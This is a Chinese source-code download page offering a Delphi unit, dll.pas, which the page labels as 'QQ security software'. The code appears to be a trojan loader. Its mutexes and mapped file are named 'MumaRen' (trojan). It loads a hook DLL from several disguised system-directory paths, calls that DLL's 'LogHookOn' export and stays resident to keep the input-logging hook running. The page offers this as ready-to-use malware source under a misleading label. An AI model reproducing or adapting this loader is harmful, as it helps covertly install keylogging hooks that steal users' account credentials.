⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dll.pas

📁 DEILPHI写的QQ安全软件源码!功能全套,该有的全有了,欢迎交流
💻 PAS
字号:
unit DLL;

interface
uses Windows,Messages,shellapi;
procedure ResDLL;
//procedure DeleteMe();
var
LogHookOn:function ():integer; stdcall;
loadon: THandle;

const
  sFileMap = 'wFileMap_MumaRen'; // 内存映射文件
  ExeMutex = 'ExeMutex_MumaRen'; // 防止同时进行插入
  DllMutex = 'DllMutex_MumaRen'; // 保证只插一个线程

implementation
uses Main,Thuan;
procedure ResDLL;
 var
  MsgStruct: TMsg;
  MutexHandle, FileHandle: DWORD;
  PCurThreadID: PDWORD;
    hWND1:HWND;
   i:integer;
 begin
   ComDLL_FileName:= GetDirectory(1)+'Drvce.dll';
   ComDLL_FileName2 := GetDirectory(1)+'dllcache\Dllse.dll';
   ComDLL_FileName3 := GetDirectory(1)+'IMENS.dll';
   ComDLL_FileName4 := GetDirectory(1)+'Setup\Max.dll';
     if (OpenMutex(MUTEX_ALL_ACCESS, FALSE, ExeMutex) <> 0) or
     (OpenMutex(MUTEX_ALL_ACCESS, FALSE, DllMutex) <> 0) then halt;
  MutexHandle := CreateMutex(nil, FALSE, ExeMutex);
  FileHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(DWORD), sFileMap);
  PCurThreadID := MapViewOfFile(FileHandle, FILE_MAP_WRITE, 0, 0, 0);
  PCurThreadID^ := GetCurrentThreadID();
  UnmapViewOfFile(PCurThreadID);

  LoadLibrary('kernel32.dll');
  LoadLibrary('user32.dll');
  //查找DLL
  loadon:=LoadLibrary(PChar(ComDLL_FileName));
           if loadon <= 0 then
            begin
                loadon:=LoadLibrary(PChar(ComDLL_FileName2));
                    if loadon <= 0 then
                      begin
                        loadon:=LoadLibrary(PChar(ComDLL_FileName3));
                            if loadon <= 0 then
                                 begin
                                  loadon:=LoadLibrary(PChar(ComDLL_FileName4));
                                      if loadon <= 0 then
                                        begin
                                            CloseHandle(FileHandle);
                                            PostMessage(HWND_BROADCAST, WM_WININICHANGE, 0, 0);
                                            halt;
                                        end;
                                  end;
                        end;
            end;


  @LogHookOn:=GetProcAddress(loadon,'LogHookOn');
  LogHookOn;
  while GetMessage(MsgStruct, 0, 0, 0) do ; // 等待WM_QUIT
  CloseHandle(FileHandle);
  PostMessage(HWND_BROADCAST, WM_WININICHANGE, 0, 0);
  CloseHandle(MutexHandle);
 end;
 end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -